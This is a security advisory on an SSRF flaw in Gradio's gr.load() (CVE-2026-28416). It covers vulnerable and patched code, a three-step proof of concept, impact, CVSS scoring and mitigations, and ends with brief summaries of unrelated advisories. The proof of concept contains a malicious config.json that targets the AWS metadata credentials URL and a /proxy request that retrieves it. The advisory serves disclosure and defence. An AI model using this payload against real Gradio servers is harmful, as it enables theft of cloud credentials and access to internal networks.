Mar 1, 2026·6 min read·37 visits
Gradio versions prior to 6.6.0 are vulnerable to SSRF when loading untrusted Spaces via `gr.load()`. Malicious configurations can whitelist arbitrary internal URLs, allowing attackers to access cloud metadata or local services through the application's proxy endpoint.
A high-severity Server-Side Request Forgery (SSRF) vulnerability exists in the Gradio machine learning framework due to improper validation of remote configurations. When a user utilizes the `gr.load()` function to import a remote Hugging Face Space, the local Gradio instance ingests the remote `config.json` file. In vulnerable versions, the application implicitly trusts the `proxy_url` parameters defined within this configuration, adding them to the local application's proxy allowlist. This allows a malicious Space to inject arbitrary internal URLs—such as cloud metadata endpoints or local network services—into the allowlist. Consequently, an attacker can leverage the victim's `/proxy` endpoint to exfiltrate sensitive internal data.
Gradio is a popular Python library used for creating machine learning demos and web applications. A core feature of the library is its ability to compose applications by loading other existing Gradio apps, typically hosted on Hugging Face Spaces, using the gr.load() function. This function retrieves the configuration and interface definition of the upstream Space to replicate it locally.
In affected versions, a critical trust boundary violation occurs during this loading process. The gr.load() function fetches the config.json file from the target Space and processes its components. If the remote configuration specifies proxy_url values for its components, the local Gradio instance blindly accepts these values and adds them to its own internal allowlist for the /proxy route. This behavior creates a Server-Side Request Forgery (SSRF) condition where the trust placed in the remote configuration allows the remote author to dictate which network resources the local server is permitted to access.
The vulnerability is classified under CWE-918 (Server-Side Request Forgery). It is particularly dangerous in cloud environments (AWS, GCP, Azure), where accessing the link-local metadata service (e.g., 169.254.169.254) often yields temporary credentials capable of compromising the entire cloud account.
The root cause of CVE-2026-28416 lies in the unvalidated ingestion of the proxy_url property within gradio/blocks.py. When gr.load() initializes, it calls Blocks.from_config(). This method iterates through the components defined in the downloaded JSON configuration.
Prior to the patch, the code logic extracted the proxy_url from any component props and directly appended it to self.proxy_urls. This set, self.proxy_urls, serves as the authoritative allowlist for the application's reverse proxy functionality located at the /proxy endpoint. The logic failed to verify whether the proxy_url pointed to a legitimate Hugging Face resource or an arbitrary internal target.
Because the config.json is controlled by the owner of the loaded Space, a malicious actor can craft a Space definition that includes sensitive internal URLs. Once the victim loads this Space, the validation logic in gradio/routes.py—which checks if a requested URL exists in self.proxy_urls—passes successfully for the attacker-injected URLs. This effectively bypasses the intended security controls of the proxy mechanism, turning the Gradio server into an open gateway to the specified targets.
The vulnerability existed in the gradio.blocks.Blocks class during the configuration parsing phase. The following snippet illustrates the flawed logic in the from_config method where URLs were blindly trusted.
Vulnerable Code (gradio/blocks.py):
# Inside Blocks.from_config method
for component_config in config.get("components", []):
# ... component instantiation ...
if "proxy_url" in props:
# VULNERABILITY: Arbitrary URL from remote config added to allowlist
blocks.proxy_urls.add(props["proxy_url"])The fix, introduced in version 6.6.0, implements strict validation. It ensures that any proxy_url ingested from a configuration file must belong to the trusted .hf.space domain. This restriction aligns with the intended use case of proxying requests to other Hugging Face Spaces while blocking access to arbitrary network endpoints.
Patched Code (gradio/blocks.py & gradio/routes.py):
# Validates that the URL host ends with .hf.space
def is_valid_proxy_url(url: str) -> bool:
from urllib.parse import urlparse
parsed = urlparse(url)
# STRICT CHECK: Only allow huggingface spaces
return parsed.netloc.endswith(".hf.space")
# Inside Blocks.from_config
if "proxy_url" in props:
proxy_url = props["proxy_url"]
if is_valid_proxy_url(proxy_url):
blocks.proxy_urls.add(proxy_url)Furthermore, a secondary check was added to gradio/routes.py in the reverse_proxy handler. Even if a URL somehow enters the proxy_urls set, the handler now re-verifies that the target host matches the allowlist criteria (ending in .hf.space). This defense-in-depth approach ensures that even if the configuration ingestion logic is bypassed, the routing logic will still reject the SSRF attempt.
To exploit this vulnerability, an attacker must first create a malicious Gradio Space (or host a compatible configuration file). The attacker modifies the config.json to include a proxy_url pointing to the target internal resource. For example, targeting AWS EC2 metadata.
Step 1: Malicious Configuration
The attacker hosts a config.json similar to the following:
{
"components": [
{
"id": 1,
"type": "textbox",
"props": {
"proxy_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
],
"mode": "blocks"
}Step 2: Triggering the Vulnerability
The victim, intended to be a developer or a deployment pipeline, runs the following Python code:
import gradio as gr
# Victim loads the attacker's space
gr.load("attacker-username/malicious-space")Step 3: Execution
Upon execution, the victim's application starts and whitelists the AWS metadata URL. The attacker (or the malicious space's frontend logic) then sends a request to the victim's application:
GET /proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The victim's server proxies this request to the link-local address and returns the AWS credentials to the attacker.
The impact of this vulnerability is critical for deployments in cloud environments or corporate intranets. The ability to coerce the server into making arbitrary GET requests allows for significant information disclosure.
Confidentiality Impact (High): Attackers can access cloud instance metadata services (IMDSv1) on AWS, GCP, and Azure. This often results in the theft of temporary IAM credentials, which may grant extensive access to the victim's cloud infrastructure (e.g., S3 buckets, databases, compute resources). Additionally, attackers can probe internal dashboards, monitoring systems (e.g., Prometheus, Grafana), or source code repositories that are not exposed to the public internet but are accessible to the Gradio server.
Integrity Impact (Low): While SSRF is primarily a read-primitive, it can facilitate integrity violations if internal services expose unauthenticated APIs that change state via GET requests (violating REST principles) or if the attacker can chain the SSRF with other vulnerabilities to perform Command Injection on internal services.
Availability Impact (None): The vulnerability does not inherently lead to denial of service, though an attacker could potentially overload internal services by using the Gradio instance as a proxy for high-volume traffic.
The primary remediation is to upgrade to Gradio version 6.6.0 or later immediately. This version introduces strictly typed validation for proxy URLs, ensuring they match the expected .hf.space pattern.
If upgrading is not immediately feasible, the following mitigations are recommended:
gr.load() with Spaces maintained by unknown or untrusted third parties. Review the source code and configuration of any Space before loading it.169.254.169.254 (Cloud Metadata) and private IP ranges (RFC1918) unless explicitly required.PUT request to retrieve a session token before accessing metadata, which mitigates many SSRF attacks that rely on simple GET requests.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Gradio Gradio | < 6.6.0 | 6.6.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network (Remote) |
| CVSS Score | 8.2 (High) |
| EPSS Score | 0.00030 |
| Impact | Information Disclosure / Internal Network Access |
| Exploit Status | Proof of Concept Available |
Server-Side Request Forgery (SSRF) occurs when a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination.
A CSV Formula Injection vulnerability (CWE-1236) exists in the Spree headless eCommerce platform within the customer export functionality. An unauthenticated attacker can register a customer profile containing malicious formula sequences in fields like the first name or last name. When an administrator exports the customer data to a CSV file and opens it in a spreadsheet application, the spreadsheet engine can interpret and execute these formulas, potentially leading to remote command execution on the administrator's workstation or out-of-band data exfiltration.
A Stored Cross-Site Scripting (XSS) vulnerability exists in WWBN AVideo versions up to and including 29.0. Unsanitized category descriptions are stored in the database and subsequently rendered as raw HTML in the Gallery view plugin, allowing low-privileged authenticated users to execute arbitrary JavaScript in the browsers of visiting users.
A critical supply chain compromise was identified in the Node.js package @cap-js/openapi at version 1.4.1. An attacker gained unauthorized publishing access to the npm registry and distributed a backdoored release that harvests sensitive developer credentials, environment variables, and SSH keys. The malicious code then exfiltrates the collected data to external actor-controlled servers.
An authenticated wallet credit bypass vulnerability exists in WWBN AVideo version 29.0 and earlier. The AuthorizeNet plugin includes an unfinished mockup endpoint, processPayment.json.php, which lacks actual transaction verification and hardcodes success. This allows any authenticated user to credit their wallet with arbitrary balances without making any payments.
An unauthenticated stored DOM-based Cross-Site Scripting (DOM XSS) vulnerability in the YPTSocket plugin of WWBN AVideo (formerly YouPHPTube) allows remote attackers to execute arbitrary JavaScript within the session context of administrative users. Unsanitized metadata parameters supplied during the WebSocket handshake are persisted in an SQLite database and broadcast to connected users. The frontend application processes these parameters through an unsafe jQuery append sink, leading to silent, high-impact administrative context compromise.
A path parsing and normalization inconsistency vulnerability exists in the Hono web framework prior to version 4.12.21. When hosting sub-applications via the app.mount() routing interface, Hono calculates the routing path prefix length on a percent-decoded representation of the URI but executes the path-slicing offset on the raw, percent-encoded string. This discrepancy results in malformed request paths being dispatched to mounted sub-applications, potentially leading to route bypasses, route confusion, and application-level Denial of Service.